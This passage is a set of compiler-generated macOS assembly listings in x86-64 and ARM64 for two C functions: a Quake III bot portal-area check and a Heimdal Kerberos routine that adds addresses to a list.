%r15 ## 8-byte Reload LBB0_68: ## =>This Inner Loop Header: Depth=1 cmpl $0, (%rax,%rdx,4) je LBB0_65 ## %bb.69: ## in Loop: Header=BB0_68 Depth=1 cmpl $0, (%rsi,%rdx,4) je LBB0_65 ## %bb.70: ## in Loop: Header=BB0_68 Depth=1 incq %rdx cmpq %rdx, %rcx jne LBB0_68 ## %bb.71: movb $1, %al movl %eax, -52(%rbp) ## 4-byte Spill movq -88(%rbp), %rsi ## 8-byte Reload jmp LBB0_45 LBB0_65: xorl %ebx, %ebx jmp LBB0_1 LBB0_72: cmpb $0, -52(%rbp) ## 1-byte Folded Reload jne LBB0_75 jmp LBB0_77 LBB0_73: movl -64(%rbp), %ecx ## 4-byte Reload xorl %ebx, %ebx movq -80(%rbp), %rax ## 8-byte Reload LBB0_74: cmpl %ecx, %eax sete %al cmovel -56(%rbp), %ebx ## 4-byte Folded Reload testb %al, -52(%rbp) ## 1-byte Folded Reload je LBB0_1 LBB0_75: movl -56(%rbp), %r14d ## 4-byte Reload xorl %r12d, %r12d movq _aasworld@GOTPCREL(%rip), %r13 movq _AREACONTENTS_CLUSTERPORTAL@GOTPCREL(%rip), %r15 movq -96(%rbp), %rbx ## 8-byte Reload .p2align 4, 0x90 LBB0_76: ## =>This Inner Loop Header: Depth=1 movl (%r15), %eax movq (%r13), %rcx movslq (%rbx,%r12,4), %rdx orl %eax, (%rcx,%rdx,8) movq _AREACONTENTS_ROUTEPORTAL@GOTPCREL(%rip), %rax movl (%rax), %eax movslq (%rbx,%r12,4), %rdx orl %eax, (%rcx,%rdx,8) movl (%rbx,%r12,4), %esi leaq L_.str(%rip), %rdi callq _Log_Write incq %r12 cmpq %r12, %r14 jne LBB0_76 LBB0_77: movl -56(%rbp), %eax ## 4-byte Reload movl %eax, %ebx jmp LBB0_1 LBB0_78: movl $0, -52(%rbp) ## 4-byte Folded Spill movq -88(%rbp), %rsi ## 8-byte Reload movq -112(%rbp), %r15 ## 8-byte Reload jmp LBB0_45 LBB0_81: callq ___stack_chk_fail .cfi_endproc ## -- End function .comm _MAX_PORTALAREAS,4,2 ## @MAX_PORTALAREAS .comm _aasworld,40,3 ## @aasworld .comm _AREACONTENTS_CLUSTERPORTAL,4,2 ## @AREACONTENTS_CLUSTERPORTAL .comm _AREA_GROUNDED,4,2 ## @AREA_GROUNDED .comm _FACE_SOLID,4,2 ## @FACE_SOLID .comm _AREACONTENTS_ROUTEPORTAL,4,2 ## @AREACONTENTS_ROUTEPORTAL .section __TEXT,__cstring,cstring_literals L_.str: ## @.str .asciz "possible portal: %d\r\n" .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .globl _AAS_CheckAreaForPossiblePortals ; -- Begin function AAS_CheckAreaForPossiblePortals .p2align 2 _AAS_CheckAreaForPossiblePortals: ; @AAS_CheckAreaForPossiblePortals .cfi_startproc ; %bb.0: stp x28, x27, [sp, #-96]! ; 16-byte Folded Spill stp x26, x25, [sp, #16] ; 16-byte Folded Spill stp x24, x23, [sp, #32] ; 16-byte Folded Spill stp x22, x21, [sp, #48] ; 16-byte Folded Spill stp x20, x19, [sp, #64] ; 16-byte Folded Spill stp x29, x30, [sp, #80] ; 16-byte Folded Spill add x29, sp, #80 sub sp, sp, #64 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 .cfi_offset w21, -40 .cfi_offset w22, -48 .cfi_offset w23, -56 .cfi_offset w24, -64 .cfi_offset w25, -72 .cfi_offset w26, -80 .cfi_offset w27, -88 .cfi_offset w28, -96 Lloh0: adrp x8, ___stack_chk_guard@GOTPAGE Lloh1: ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF] Lloh2: ldr x8, [x8] stur x8, [x29, #-88] Lloh3: adrp x8, _MAX_PORTALAREAS@GOTPAGE Lloh4: ldr x8, [x8, _MAX_PORTALAREAS@GOTPAGEOFF] Lloh5: ldr w12, [x8] lsl x8, x12, #2 mov x9, x8 Lloh6: adrp x16, ___chkstk_darwin@GOTPAGE Lloh7: ldr x16, [x16, ___chkstk_darwin@GOTPAGEOFF] blr x16 mov x9, sp add x10, x8, #15 and x13, x10, #0x7fffffff0 sub x19, x9, x13 mov sp, x19 mov x9, x8 Lloh8: adrp x16, ___chkstk_darwin@GOTPAGE Lloh9: ldr x16, [x16, ___chkstk_darwin@GOTPAGEOFF] blr x16 mov x9, sp sub x15, x9, x13 mov sp, x15 mov x9, x8 Lloh10: adrp x16, ___chkstk_darwin@GOTPAGE Lloh11: ldr x16, [x16, ___chkstk_darwin@GOTPAGEOFF] blr x16 mov x9, sp sub x22, x9, x13 mov sp, x22 mov x9, x8 Lloh12: adrp x16, ___chkstk_darwin@GOTPAGE Lloh13: ldr x16, [x16, ___chkstk_darwin@GOTPAGEOFF] blr x16 mov x9, sp sub x14, x9, x13 mov sp, x14 mov x9, x8 Lloh14: adrp x16, ___chkstk_darwin@GOTPAGE Lloh15: ldr x16, [x16, ___chkstk_darwin@GOTPAGEOFF] blr x16 mov x9, sp sub x27, x9, x13 mov sp, x27 mov x9, x8 Lloh16: adrp x16, ___chkstk_darwin@GOTPAGE Lloh17: ldr x16, [x16, ___chkstk_darwin@GOTPAGEOFF] blr x16 mov x9, sp sub x23, x9, x13 mov sp, x23 mov x9, x8 Lloh18: adrp x16, ___chkstk_darwin@GOTPAGE Lloh19: ldr x16, [x16, ___chkstk_darwin@GOTPAGEOFF] blr x16 mov x8, sp sub x20, x8, x13 mov sp, x20 Lloh20: adrp x21, _aasworld@GOTPAGE Lloh21: ldr x21, [x21, _aasworld@GOTPAGEOFF] ldr x8, [x21] add x8, x8, w0, sxtw #3 ldr w9, [x8] Lloh22: adrp x26, _AREACONTENTS_CLUSTERPORTAL@GOTPAGE Lloh23: ldr x26, [x26, _AREACONTENTS_CLUSTERPORTAL@GOTPAGEOFF] ldr w10, [x26] tst w10, w9 b.eq LBB0_4 LBB0_1: mov w0, #0 ; =0x0 LBB0_2: ldur x8, [x29, #-88] Lloh24: adrp x9, ___stack_chk_guard@GOTPAGE Lloh25: ldr x9, [x9, ___stack_chk_guard@GOTPAGEOFF] Lloh26: ldr x9, [x9] cmp x9, x8 b.ne LBB0_81 ; %bb.3: sub sp, x29, #80 ldp x29, x30, [sp, #80] ; 16-byte Folded Reload ldp x20, x19, [sp, #64] ; 16-byte Folded Reload ldp x22, x21, [sp, #48] ; 16-byte Folded Reload ldp x24, x23, [sp, #32] ; 16-byte Folded Reload ldp x26, x25, [sp, #16] ; 16-byte Folded Reload ldp x28, x27, [sp], #96 ; 16-byte Folded Reload ret LBB0_4: ldr w8, [x8, #4] Lloh27: adrp x9, _AREA_GROUNDED@GOTPAGE Lloh28: ldr x9, [x9, _AREA_GROUNDED@GOTPAGEOFF] Lloh29: ldr w9, [x9] tst w9, w8 b.eq LBB0_1 ; %bb.5: stur x14, [x29, #-112] ; 8-byte Folded Spill lsl w24, w12, #2 mov x25, x0 stur x15, [x29, #-136] ; 8-byte Folded Spill mov x0, x15 mov w1, #0 ; =0x0 mov x2, x24 bl _Com_Memset mov x0, x22 mov w1, #0 ; =0x0 mov x2, x24 bl _Com_Memset mov x0, x19 mov w1, #0 ; =0x0 mov x2, x25 bl _AAS_GetAdjacentAreasWithLessPresenceTypes_r tbnz w0, #31, LBB0_45 ; %bb.6: stur x22, [x29, #-128] ; 8-byte Folded Spill mov x9, #0 ; =0x0 mov w24, #0 ; =0x0 mov w22, #0 ; =0x0 mov w28, #0 ; =0x0 mov w25, #0 ; =0x0 ldp x11, x8, [x21, #24] stur x8, [x29, #-120] ; 8-byte Folded Spill ldr x12, [x21, #16] Lloh30: adrp x8, _FACE_SOLID@GOTPAGE Lloh31: ldr x8, [x8, _FACE_SOLID@GOTPAGEOFF] Lloh32: ldr w13, [x8] ldr x14, [x21] ldr w15, [x26] mov w8, w0 mov w10, #-1 ; =0xffffffff mov w16, #24 ; =0x18 mov w6, #-1 ; =0xffffffff b LBB0_8 LBB0_7: ; in Loop: Header=BB0_8 Depth=1 sub x9, x9, #1 cmp x9, x8 b.gt LBB0_67 LBB0_8: ; =>This Loop Header: Depth=1 ; Child Loop BB0_14 Depth 2 ; Child Loop BB0_18 Depth 3 ; Child Loop BB0_32 Depth 3 ; Child Loop BB0_36 Depth 3 ldrsw x17, [x19, x9, lsl #2] ldur x1, [x29, #-120] ; 8-byte Folded Reload add x2, x1, x17, lsl #3 ldr w1, [x2] cmp w1, #1 b.lt LBB0_7 ; %bb.9: ; in Loop: Header=BB0_8 Depth=1 mov w3, #0 ; =0x0 mov w4, w9 lsl x1, x9, #2 ldur x5, [x29, #-128] ; 8-byte Folded Reload add x5, x5, x1 stur x5, [x29, #-104] ; 8-byte Folded Spill ldur x5, [x29, #-136] ; 8-byte Folded Reload add x1, x5, x1 stur x1, [x29, #-96] ; 8-byte Folded Spill b LBB0_14 LBB0_10: ; in Loop: Header=BB0_14 Depth=2 mov x1, x22 add w22, w22, #1 mov x21, x23 ldur x7, [x29, #-96] ; 8-byte Folded Reload mov x6, x30 mov x25, x26 mov x26, x28 mov x30, x10 LBB0_11: ; in Loop: Header=BB0_14 Depth=2 str w5, [x21, w1, sxtw #2] LBB0_12: ; in Loop: Header=BB0_14 Depth=2 ldr w10, [x7] add w10, w10, #1 str w10, [x7] mov x28, x26 mov x10, x30 LBB0_13: ; in Loop: Header=BB0_14 Depth=2 add w3, w3, #1 ldr w1, [x2] cmp w3, w1 b.ge LBB0_7 LBB0_14: ; Parent Loop BB0_8 Depth=1 ; => This Loop Header: Depth=2 ; Child Loop BB0_18 Depth 3 ; Child Loop BB0_32 Depth 3 ; Child Loop BB0_36 Depth 3 ldr w1, [x2, #4] sub w1, w1, w3 ldr w1, [x11, w1, sxtw #2] cmp w1, #0 cneg w7, w1, mi umaddl x26, w7, w16, x12 ldr w1, [x26] tst w13, w1 b.ne LBB0_13 ; %bb.15: ; in Loop: Header=BB0_14 Depth=2 cbz w0, LBB0_22 ; %bb.16: ; in Loop: Header=BB0_14 Depth=2 mov x1, #0 ; =0x0 b LBB0_18 LBB0_17: ; in Loop: Header=BB0_18 Depth=3 add x1, x1, #1 cmp x8, x1 b.eq LBB0_23 LBB0_18: ; Parent Loop BB0_8 Depth=1 ; Parent Loop BB0_14 Depth=2 ; => This Inner Loop Header: Depth=3 cmp x4, x1 b.eq LBB0_17 ; %bb.19: ; in Loop: Header=BB0_18 Depth=3 ldr w5, [x26, #4] ldr w21, [x19, x1, lsl #2] cmp w5, w21 b.ne LBB0_17 ; %bb.20: ; in Loop: Header=BB0_18 Depth=3 ldr w21, [x26, #8] cmp w21, w5 b.ne LBB0_17 ; %bb.21: ; in Loop: Header=BB0_14 Depth=2 cmp w1, w0 b.ne LBB0_13 b LBB0_23 LBB0_22: ; in Loop: Header=BB0_14 Depth=2 mov w1, #0 ; =0x0 cmp w1, w0 b.ne LBB0_13 LBB0_23: ; in Loop: Header=BB0_14 Depth=2 ldr w5, [x26, #4] cmp w5, w17 b.ne LBB0_25 ; %bb.24: ; in Loop: Header=BB0_14 Depth=2 ldr w5, [x26, #8] LBB0_25: ; in Loop: Header=BB0_14 Depth=2 sbfiz x1, x5, #3, #32 ldr w1, [x14, x1] tst w15, w1 b.ne LBB0_1 ; %bb.26: ; in Loop: Header=BB0_14 Depth=2 ldr w1, [x26, #12] and w30, w1, #0xfffffffe tbnz w6, #31, LBB0_34 ; %bb.27: ; in Loop: Header=BB0_14 Depth=2 cmp w30, w6 b.eq LBB0_34 ; %bb.28: ; in Loop: Header=BB0_14 Depth=2 tbnz w10, #31, LBB0_30 ; %bb.29: ; in Loop: Header=BB0_14 Depth=2 cmp w30, w10 b.ne LBB0_1 LBB0_30: ; in Loop: Header=BB0_14 Depth=2 add w26, w28, #1 str w7, [x27, w28, sxtw #2] cmp w24, #1 b.lt LBB0_41 ; %bb.31: ; in Loop: Header=BB0_14 Depth=2 mov x10, #0 ; =0x0 mov w1, w24 LBB0_32: ; Parent Loop BB0_8 Depth=1 ; Parent Loop BB0_14 Depth=2 ; => This Inner Loop Header: Depth=3 ldr w7, [x20, x10, lsl #2] cmp w7, w5 b.eq LBB0_42 ; %bb.33: ; in Loop: Header=BB0_32 Depth=3 add x10, x10, #1 cmp x1, x10 b.ne LBB0_32 b LBB0_43 LBB0_34: ; in Loop: Header=BB0_14 Depth=2 add w26, w25, #1 ldur x1, [x29, #-112] ; 8-byte Folded Reload str w7, [x1, w25, sxtw #2] cmp w22, #1 b.lt LBB0_38 ; %bb.35: ; in Loop: Header=BB0_14 Depth=2 mov x1, #0 ; =0x0 mov w6, w22 LBB0_36: ; Parent Loop BB0_8 Depth=1 ; Parent Loop BB0_14 Depth=2 ; => This Inner Loop Header: Depth=3 ldr w7, [x23, x1, lsl #2] cmp w7, w5 b.eq LBB0_39 ; %bb.37: ; in Loop: Header=BB0_36 Depth=3 add x1, x1, #1 cmp x6, x1 b.ne LBB0_36 b LBB0_10 LBB0_38: ; in Loop: Header=BB0_14 Depth=2 mov w1, #0 ; =0x0 LBB0_39: ; in Loop: Header=BB0_14 Depth=2 cmp w1, w22 b.eq LBB0_10 ; %bb.40: ; in Loop: Header=BB0_14 Depth=2 ldur x7, [x29, #-96] ; 8-byte Folded Reload mov x25, x26 mov x26, x28 mov x6, x30 mov x30, x10 b LBB0_12 LBB0_41: ; in Loop: Header=BB0_14 Depth=2 mov w10, #0 ; =0x0 LBB0_42: ; in Loop: Header=BB0_14 Depth=2 cmp w10, w24 b.ne LBB0_44 LBB0_43: ; in Loop: Header=BB0_14 Depth=2 mov x1, x24 add w24, w24, #1 mov x21, x20 ldur x7, [x29, #-104] ; 8-byte Folded Reload b LBB0_11 LBB0_44: ; in Loop: Header=BB0_14 Depth=2 ldur x7, [x29, #-104] ; 8-byte Folded Reload b LBB0_12 LBB0_45: mov x21, x0 mov w26, #0 ; =0x0 mov w24, #0 ; =0x0 mov w22, #0 ; =0x0 mov w28, #0 ; =0x0 mov w25, #0 ; =0x0 LBB0_46: mov x0, x23 mov x1, x22 bl _AAS_ConnectedAreas cbz w0, LBB0_2 ; %bb.47: mov x0, x20 mov x1, x24 bl _AAS_ConnectedAreas cbz w0, LBB0_2 ; %bb.48: cmp w25, #1 b.lt LBB0_74 ; %bb.49: mov x8, #0 ; =0x0 Lloh33: adrp x10, _aasworld@GOTPAGE Lloh34: ldr x10, [x10, _aasworld@GOTPAGEOFF] ldp x10, x9, [x10, #8] mov w11, w25 mov w12, #24 ; =0x18 mov w13, w28 mov x0, x21 ldur x6, [x29, #-112] ; 8-byte Folded Reload b LBB0_53 LBB0_50: ; in Loop: Header=BB0_53 Depth=1 mov w15, #0 ; =0x0 LBB0_51: ; in Loop: Header=BB0_53 Depth=1 cmp w15, w14 b.ne LBB0_75 LBB0_52: ; in Loop: Header=BB0_53 Depth=1 add x8, x8, #1 cmp x8, x11 b.eq LBB0_73 LBB0_53: ; =>This Loop Header: Depth=1 ; Child Loop BB0_58 Depth 2 ; Child Loop BB0_63 Depth 3 ; Child Loop BB0_65 Depth 4 ldrsw x14, [x6, x8, lsl #2] smaddl x16, w14, w12, x9 ldr w14, [x16, #16] cmp w14, #1 b.lt LBB0_50 ; %bb.54: ; in Loop: Header=BB0_53 Depth=1 mov x15, #0 ; =0x0 ldrsw x16, [x16, #20] add x16, x10, x16, lsl #2 b LBB0_58 LBB0_55: ; in Loop: Header=BB0_58 Depth=2 mov w17, #0 ; =0x0 LBB0_56: ; in Loop: Header=BB0_58 Depth=2 cmp w17, w28 b.ne LBB0_51 LBB0_57: ; in Loop: Header=BB0_58 Depth=2 add x15, x15, #1 cmp x15, x14 b.eq LBB0_52 LBB0_58: ; Parent Loop BB0_53 Depth=1 ; => This Loop Header: Depth=2 ; Child Loop BB0_63 Depth 3 ; Child Loop BB0_65 Depth 4 ldr w17, [x16, x15, lsl #2] cmp w17, #0 cneg w1, w17, mi cmp w28, #1 b.lt LBB0_55 ; %bb.59: ; in Loop: Header=BB0_58 Depth=2 mov x17, #0 ; =0x0 b LBB0_63 LBB0_60: ; in Loop: Header=BB0_63 Depth=3 mov w3, #0 ; =0x0 LBB0_61: ; in Loop: Header=BB0_63 Depth=3 cmp w3, w2 b.ne LBB0_56 LBB0_62: ; in Loop: Header=BB0_63 Depth=3 add x17, x17, #1 cmp x17, x13 b.eq LBB0_57 LBB0_63: ; Parent Loop BB0_53 Depth=1 ; Parent Loop BB0_58 Depth=2 ; => This Loop Header: Depth=3 ; Child Loop BB0_65 Depth 4 ldrsw x2, [x27, x17, lsl #2] smaddl x4, w2, w12, x9 ldr w2, [x4, #16] cmp w2, #1 b.lt LBB0_60 ; %bb.64: ; in Loop: Header=BB0_63 Depth=3 mov x3, #0 ; =0x0 ldrsw x4, [x4, #20] add x4, x10, x4, lsl #2 LBB0_65: ; Parent Loop BB0_53 Depth=1 ; Parent Loop BB0_58 Depth=2 ; Parent Loop BB0_63 Depth=3 ; => This Inner Loop Header: Depth=4 ldr w5, [x4, x3, lsl #2] cmp w5, #0 cneg w5, w5, mi cmp w1, w5 b.eq LBB0_61 ; %bb.66: ; in Loop: Header=BB0_65 Depth=4 add x3, x3, #1 cmp x2, x3 b.ne LBB0_65 b LBB0_62 LBB0_67: cbz w0, LBB0_80 ; %bb.68: ldur x10, [x29, #-136] ; 8-byte Folded Reload LBB0_69: ; =>This Inner Loop Header: Depth=1 ldr w9, [x10], #4 cbz w9, LBB0_1 ; %bb.70: ; in Loop: Header=BB0_69 Depth=1 ldur x11, [x29, #-128] ; 8-byte Folded Reload ldr w9, [x11] cbz w9, LBB0_1 ; %bb.71: ; in Loop: Header=BB0_69 Depth=1 add x11, x11, #4 stur x11, [x29, #-128] ; 8-byte Folded Spill subs x8, x8, #1 b.ne LBB0_69 ; %bb.72: mov x21, x0 mov w26, #1 ; =0x1 b LBB0_46 LBB0_73: cbz w26, LBB0_2 b LBB0_76 LBB0_74: mov w8, #0 ; =0x0 mov x0, x21 LBB0_75: cmp w8, w25 csel w9, wzr, w26, ne csel w8, w0, wzr, eq tbz w9, #0, LBB0_79 LBB0_76: mov x21, x0 mov w22, w0 Lloh35: adrp x23, _AREACONTENTS_ROUTEPORTAL@GOTPAGE Lloh36: ldr x23, [x23, _AREACONTENTS_ROUTEPORTAL@GOTPAGEOFF] Lloh37: adrp x20, l_.str@PAGE Lloh38: add x20, x20, l_.str@PAGEOFF Lloh39: adrp x24, _aasworld@GOTPAGE Lloh40: ldr x24, [x24, _aasworld@GOTPAGEOFF] Lloh41: adrp x25, _AREACONTENTS_CLUSTERPORTAL@GOTPAGE Lloh42: ldr x25, [x25, _AREACONTENTS_CLUSTERPORTAL@GOTPAGEOFF] LBB0_77: ; =>This Inner Loop Header: Depth=1 ldr w8, [x25] ldr x9, [x24] ldrsw x10, [x19] lsl x10, x10, #3 ldr w11, [x9, x10] orr w8, w11, w8 str w8, [x9, x10] ldrsw x8, [x19] lsl x8, x8, #3 ldr w10, [x9, x8] ldr w11, [x23] orr w10, w10, w11 str w10, [x9, x8] ldr w1, [x19], #4 mov x0, x20 bl _Log_Write subs x22, x22, #1 b.ne LBB0_77 ; %bb.78: mov x0, x21 b LBB0_2 LBB0_79: mov x0, x8 b LBB0_2 LBB0_80: mov x21, x0 mov w26, #0 ; =0x0 b LBB0_46 LBB0_81: bl ___stack_chk_fail .loh AdrpLdrGot Lloh22, Lloh23 .loh AdrpLdrGot Lloh20, Lloh21 .loh AdrpLdrGotLdr Lloh3, Lloh4, Lloh5 .loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2 .loh AdrpLdrGotLdr Lloh24, Lloh25, Lloh26 .loh AdrpLdrGotLdr Lloh27, Lloh28, Lloh29 .loh AdrpLdrGotLdr Lloh30, Lloh31, Lloh32 .loh AdrpLdrGot Lloh33, Lloh34 .loh AdrpLdrGot Lloh41, Lloh42 .loh AdrpLdrGot Lloh39, Lloh40 .loh AdrpAdd Lloh37, Lloh38 .loh AdrpLdrGot Lloh35, Lloh36 .loh AdrpLdrGot Lloh6, Lloh7 .loh AdrpLdrGot Lloh8, Lloh9 .loh AdrpLdrGot Lloh10, Lloh11 .loh AdrpLdrGot Lloh12, Lloh13 .loh AdrpLdrGot Lloh14, Lloh15 .loh AdrpLdrGot Lloh16, Lloh17 .loh AdrpLdrGot Lloh18, Lloh19 .cfi_endproc ; -- End function .comm _MAX_PORTALAREAS,4,2 ; @MAX_PORTALAREAS .comm _aasworld,40,3 ; @aasworld .comm _AREACONTENTS_CLUSTERPORTAL,4,2 ; @AREACONTENTS_CLUSTERPORTAL .comm _AREA_GROUNDED,4,2 ; @AREA_GROUNDED .comm _FACE_SOLID,4,2 ; @FACE_SOLID .comm _AREACONTENTS_ROUTEPORTAL,4,2 ; @AREACONTENTS_ROUTEPORTAL .section __TEXT,__cstring,cstring_literals l_.str: ; @.str .asciz "possible portal: %d\r\n" .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .p2align 4, 0x90 ## -- Begin function add_addrs _add_addrs: ## @add_addrs .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r15 pushq %r14 pushq %r13 pushq %r12 pushq %rbx subq $40, %rsp .cfi_offset %rbx, -56 .cfi_offset %r12, -48 .cfi_offset %r13, -40 .cfi_offset %r14, -32 .cfi_offset %r15, -24 movq %rdx, %r15 movq %rsi, %rbx movl %edi, -44(%rbp) ## 4-byte Spill xorl %r12d, %r12d testq %rdx, %rdx je LBB0_3 ## %bb.1: movq %r15, %rax .p2align 4, 0x90 LBB0_2: ## =>This Inner Loop Header: Depth=1 decl %r12d movq 8(%rax), %rax testq %rax, %rax jne LBB0_2 LBB0_3: movq 8(%rbx), %rdi movl (%rbx), %esi addl %r12d, %esi shll $4, %esi callq _realloc testq %rax, %rax setne %dl movl (%rbx), %r13d movl %r13d, %ecx addl %r12d, %ecx sete %sil orb %dl, %sil je LBB0_4 ## %bb.6: movq %r15, -64(%rbp) ## 8-byte Spill movq %rax, 8(%rbx) cmpl %ecx, %r13d movq %rbx, %r15 jae LBB0_9 ## %bb.7: movl %r13d, %ebx movq %rbx, %r14 shlq $4, %r14 .p2align 4, 0x90 LBB0_8: ## =>This Inner Loop Header: Depth=1 movq 8(%r15), %rdi movq $0, 8(%rdi,%r14) addq %r14, %rdi callq _krb5_data_zero incq %rbx movl (%r15), %r13d leal (%r12,%r13), %eax addq $16, %r14 cmpq %rax, %rbx jb LBB0_8 LBB0_9: xorl %eax, %eax cmpq $0, -64(%rbp) ## 8-byte Folded Reload je LBB0_19 ## %bb.10: leaq -80(%rbp), %r12 movq %r15, %r14 movl -44(%rbp), %ebx ## 4-byte Reload movq -64(%rbp), %r15 ## 8-byte Reload movq %r14, -56(%rbp) ## 8-byte Spill jmp LBB0_11 LBB0_16: ## in Loop: Header=BB0_11 Depth=1 movq 8(%r14), %rax movl %r13d, %ecx incl %r13d shlq $4, %rcx movups -80(%rbp), %xmm0 movups %xmm0, (%rax,%rcx) .p2align 4, 0x90 LBB0_17: ## in Loop: Header=BB0_11 Depth=1 movl %r13d, (%r14) movq 8(%r15), %r15 testq %r15, %r15 je LBB0_18 LBB0_11: ## =>This Inner Loop Header: Depth=1 movl (%r15), %esi movl %ebx, %edi movq %r12, %rdx callq _krb5_sockaddr2address testl %eax, %eax je LBB0_12 ## %bb.14: ## in Loop: Header=BB0_11 Depth=1 movl %eax, %r14d movq _KRB5_PROG_ATYPE_NOSUPP@GOTPCREL(%rip), %rax cmpl (%rax), %r14d jne LBB0_5 ## %bb.15: ## in Loop: Header=BB0_11 Depth=1 movl %ebx, %edi callq _krb5_clear_error_message movq -56(%rbp), %r14 ## 8-byte Reload jmp LBB0_17 .p2align 4, 0x90 LBB0_12: ## in Loop: Header=BB0_11 Depth=1 movl %ebx, %edi movq %r12, %rsi movq -56(%rbp), %r14 ## 8-byte Reload movq %r14, %rdx callq _krb5_address_search testq %rax, %rax je LBB0_16 ## %bb.13: ## in Loop: Header=BB0_11 Depth=1 movl %ebx, %edi movq %r12, %rsi callq _krb5_free_address jmp LBB0_17 LBB0_4: movq %rbx, -56(%rbp) ## 8-byte Spill movq _ENOMEM@GOTPCREL(%rip), %rax movl (%rax), %r14d leaq L_.str(%rip), %rdi leaq L_.str.1(%rip), %rsi callq _N_ movl -44(%rbp), %ebx ## 4-byte Reload movl %ebx, %edi movl %r14d, %esi movl %eax, %edx callq _krb5_set_error_message LBB0_5: movl %ebx, %edi movq -56(%rbp), %rsi ## 8-byte Reload callq _krb5_free_addresses movl %r14d, %eax jmp LBB0_19 LBB0_18: xorl %eax, %eax LBB0_19: addq $40, %rsp popq %rbx popq %r12 popq %r13 popq %r14 popq %r15 popq %rbp retq .cfi_endproc ## -- End function .comm _ENOMEM,4,2 ## @ENOMEM .section __TEXT,__cstring,cstring_literals L_.str: ## @.str .asciz "malloc: out of memory" L_.str.1: ## @.str.1 .space 1 .comm _KRB5_PROG_ATYPE_NOSUPP,4,2 ## @KRB5_PROG_ATYPE_NOSUPP .no_dead_strip _add_addrs .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .p2align 2 ; -- Begin function add_addrs _add_addrs: ; @add_addrs .cfi_startproc ; %bb.0: sub sp, sp, #80 stp x24, x23, [sp, #16] ; 16-byte Folded Spill stp x22, x21, [sp, #32] ; 16-byte Folded Spill stp x20, x19, [sp, #48] ; 16-byte Folded Spill stp x29, x30, [sp, #64] ; 16-byte Folded Spill add x29, sp, #64 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 .cfi_offset w21, -40 .cfi_offset w22, -48 .cfi_offset w23, -56 .cfi_offset w24, -64 mov x21, x2 mov x19, x1 mov x20, x0 mov w23, #0 ; =0x0 cbz x2, LBB0_3 ; %bb.1: mov x8, x21 LBB0_2: ; =>This Inner Loop Header: Depth=1 sub w23, w23, #1 ldr x8, [x8, #8] cbnz x8, LBB0_2 LBB0_3: ldr x0, [x19, #8] ldr w8, [x19] add w8, w8, w23 lsl w1, w8, #4 bl _realloc ldr w22, [x19] neg w8, w23 cmp x0, #0 ccmp w22, w8, #4, eq b.ne LBB0_17 ; %bb.4: str x0, [x19, #8] add w8, w22, w23 cmp w22, w8 b.hs LBB0_8 ; %bb.5: lsl x24, x22, #4 LBB0_6: ; =>This Inner Loop Header: Depth=1 ldr x8, [x19, #8] add x0, x8, x24 str xzr, [x0, #8] bl _krb5_data_zero add x22, x22, #1 ldr w8, [x19] add x24, x24, #16 add w9, w8, w23 cmp x22, x9 b.lo LBB0_6 ; %bb.7: mov x22, x8 LBB0_8: cbz x21, LBB0_19 ; %bb.9: Lloh0: adrp x23, _KRB5_PROG_ATYPE_NOSUPP@GOTPAGE Lloh1: ldr x23, [x23, _KRB5_PROG_ATYPE_NOSUPP@GOTPAGEOFF] b LBB0_12 LBB0_10: ; in Loop: Header=BB0_12 Depth=1 ldr x8, [x19, #8] ldr q0, [sp] str q0, [x8, w22, uxtw #4] add w8, w22, #1 mov x22, x8 LBB0_11: ; in Loop: Header=BB0_12 Depth=1 str w22, [x19] ldr x21, [x21, #8] cbz x21, LBB0_19 LBB0_12: ; =>This Inner Loop Header: Depth=1 ldr w1, [x21] mov x2, sp mov x0, x20 bl _krb5_sockaddr2address cbz w0, LBB0_15 ; %bb.13: ; in Loop: Header=BB0_12 Depth=1 ldr w8, [x23] cmp w0, w8 b.ne LBB0_21 ; %bb.14: ; in Loop: Header=BB0_12 Depth=1 mov x0, x20 bl _krb5_clear_error_message b LBB0_11 LBB0_15: ; in Loop: Header=BB0_12 Depth=1 mov x1, sp mov x0, x20 mov x2, x19 bl _krb5_address_search cbz x0, LBB0_10 ; %bb.16: ; in Loop: Header=BB0_12 Depth=1 mov x1, sp mov x0, x20 bl _krb5_free_address b LBB0_11 LBB0_17: Lloh2: adrp x8, _ENOMEM@GOTPAGE Lloh3: ldr x8, [x8, _ENOMEM@GOTPAGEOFF] Lloh4: ldr w21, [x8] Lloh5: adrp x0, l_.str@PAGE Lloh6: add x0, x0, l_.str@PAGEOFF Lloh7: adrp x1, l_.str.1@PAGE Lloh8: add x1, x1, l_.str.1@PAGEOFF bl _N_ mov x2, x0 mov x0, x20 mov x22, x21 mov x1, x21 bl _krb5_set_error_message LBB0_18: mov x0, x20 mov x1, x19 bl _krb5_free_addresses mov x0, x22 b LBB0_20 LBB0_19: mov w0, #0 ; =0x0 LBB0_20: ldp x29, x30, [sp, #64] ; 16-byte Folded Reload ldp x20, x19, [sp, #48] ; 16-byte Folded Reload ldp x22, x21, [sp, #32] ; 16-byte Folded Reload ldp x24, x23, [sp, #16] ; 16-byte Folded Reload add sp, sp, #80 ret LBB0_21: mov x22, x0 b LBB0_18 .loh AdrpLdrGot Lloh0, Lloh1 .loh AdrpAdd Lloh7, Lloh8 .loh AdrpAdd Lloh5, Lloh6 .loh AdrpLdrGotLdr Lloh2, Lloh3, Lloh4 .cfi_endproc ; -- End function .comm _ENOMEM,4,2 ; @ENOMEM .section __TEXT,__cstring,cstring_literals l_.str: ; @.str .asciz "malloc: out of memory" l_.str.1: ; @.str.1 .space 1 .comm _KRB5_PROG_ATYPE_NOSUPP,4,2 ; @KRB5_PROG_ATYPE_NOSUPP .no_dead_strip _add_addrs .subsections_via_symbols
